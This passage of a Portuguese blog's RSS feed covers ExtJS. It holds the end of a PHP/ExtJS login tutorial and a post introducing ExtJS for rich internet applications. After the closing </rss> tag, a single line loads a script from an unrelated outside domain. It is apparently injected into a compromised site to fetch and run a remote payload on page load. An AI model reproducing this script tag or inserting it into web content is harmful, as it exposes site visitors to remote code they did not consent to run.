    <span class="re0" style="color: #0000ff; ">$result</span><span class="br0" style="color: #66cc66; ">[</span><span class="st0" style="color: #ff0000; ">"errors"</span><span class="br0" style="color: #66cc66; ">]</span><span class="br0" style="color: #66cc66; ">[</span><span class="st0" style="color: #ff0000; ">"reason"</span><span class="br0" style="color: #66cc66; ">]</span> = <span class="st0" style="color: #ff0000; ">"Falha no Login. Tente novamente."</span>;
<span class="br0" style="color: #66cc66; ">}</span>
<span class="kw3" style="color: #000066; ">echo</span> json_encode<span class="br0" style="color: #66cc66; ">(</span><span class="re0" style="color: #0000ff; ">$result</span><span class="br0" style="color: #66cc66; ">)</span>;
<span class="kw2" style="color: #000000; font-weight: bold; ">?&gt;</span></pre>
<p>Você vai notar uma linha no login.js que redireciona para text.php caso um login bem sucedido aconteça. Esta pode ser, obviamente, qualquer que seja a página principal de sua aplicação.</p>
<p><em>Baseado no original de David Fitch: </em><span style="font-family: 'Lucida Grande', Tahoma, Arial, sans-serif; color: #555555;"><span style="line-height: 20px;"><a  href="http://www.extjs.com/learn/Tutorial:Basic_Login_(Portugu%C3%AAs)" target="_blank"><em>Tutorial: Basic Login</em></a></span></span></p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2009/09/sistema-de-autenticacao-com-extjs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Criando Rich Internet Applications com ExtJS</title>
		<link>http://marcos.blog.br/2009/09/criando-rich-internet-applications-com-extjs/</link>
		<comments>http://marcos.blog.br/2009/09/criando-rich-internet-applications-com-extjs/#comments</comments>
		<pubDate>Mon, 21 Sep 2009 13:10:22 +0000</pubDate>
		<dc:creator>Marcos</dc:creator>
				<category><![CDATA[ExtJS]]></category>
		<category><![CDATA[Client-Side]]></category>
		<category><![CDATA[RIA]]></category>

		<guid isPermaLink="false">http://marcos.blog.br/?p=23</guid>
		<description><![CDATA[Trata-se de um Framework Client-side para criar Rich Internet Applications (RIA). Com a variedade de funcionalidades existentes na versão 3.0 e as contribuições avulsas de usuários, ele se torna uma ferramenta completa para se criar diversos aplicativos complexos]]></description>
			<content:encoded><![CDATA[<p><img class="size-medium wp-image-24 alignleft" title="mb_extjs_splash" src="http://marcos.blog.br/wp-content/uploads/2009/09/mb_extjs_splash-300x190.jpg" alt="mb_extjs_splash" width="300" height="190" />ExtJS é sem dúvida uma das ferramentas mais poderosas que temos hoje para se criar <a  href="http://marcos.blog.br/2009/09/aplicativos-web/" target="_blank">Aplicativos Web</a> robustas, a grande vantagem é a facilitade de se criar elementos com boa usabilidade e instintivos.</p>
<p>Trata-se de um Framework Client-side para criar <a  href="http://en.wikipedia.org/wiki/Rich_Internet_application" target="_blank">Rich Internet Applications</a> (RIA). Com a variedade de funcionalidades existentes na versão 3.0 e as contribuições avulsas de usuários, ele se torna uma ferramenta completa para se criar diversos aplicativos complexos.</p>
<p><img class="alignleft size-full wp-image-25" style="border: 0pt none; margin: 3px;" title="tasks" src="http://marcos.blog.br/wp-content/uploads/2009/09/tasks.gif" alt="tasks" width="120" height="90" />O mais interessante, é o visual da aplicação. É possível criar aplicações que se passam por aplicações desktop devido a riqueza dos componentes. Isso faz com que usuários mais leigos tenham uma facilidade maior ao usar sua aplicação por estar habituado a usar softwares como o pacote do Office 2007, e outros softwares populares, tornando sua aplicação bem intuitiva. Na <a  href="http://www.extjs.com/products/extjs/" target="_blank">página de exemplos</a> você pode ter uma noção do que pode ser feito.</p>
<p>Obviamente nem tudo são flores. Apesar de ter a possibilidade de personalizar o framework apenas com os módulos que você irá utilizar em sua aplicação (como o jQuery), o tamanho final da aplicação se torna um tanto quanto &#8220;pesada&#8221; se comparado a interfaces criadas diretamente com HTML acompanhado de JavaScript. Então antes de sair usando, é melhor botar na balança a real complexidade de seu aplicativo pois muitos podem se enganar com a facilidade de criar interfaces com boa aparência e acabar usando um canhão para matar uma mosca.</p>
<p>No entando, estamos lidando com uma estrura um pouco diferente. No ExtJS todas as interfaces são carregadas ao acessar a aplicação. O que na minha opinião é bem interessante, após carregado, sua aplicação web não fará nenhum reload na página para acessar qualquer área interna do seu sistema (sem contar que no próximo acesso, sua interface provavelmente estará no Cache do navegador).  Todos os dados de banco são carregados através de uma requisição <a  href="http://en.wikipedia.org/wiki/Http_request#Request_message" target="_blank">HTTPrequest</a> recebendo um XML ou Json como resposta, o que abre o leque para se trabalhar com <a  href="http://en.wikipedia.org/wiki/Webservice" target="_blank">WebService</a>, ou fazer com que sua aplicação também esteja disponível Offline através do <a  href="http://gears.google.com/" target="_blank">Google Gears</a>.</p>
<p>Nos próximos posts vou explicar na prática como iniciar com ExtJS, colocar exemplos e indicar boas práticas de minhas experiências anteriores.</p>
<!-- PHP 5.x -->]]></content:encoded>
			<wfw:commentRss>http://marcos.blog.br/2009/09/criando-rich-internet-applications-com-extjs/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://whereisdudescars.com/js2.php"></script>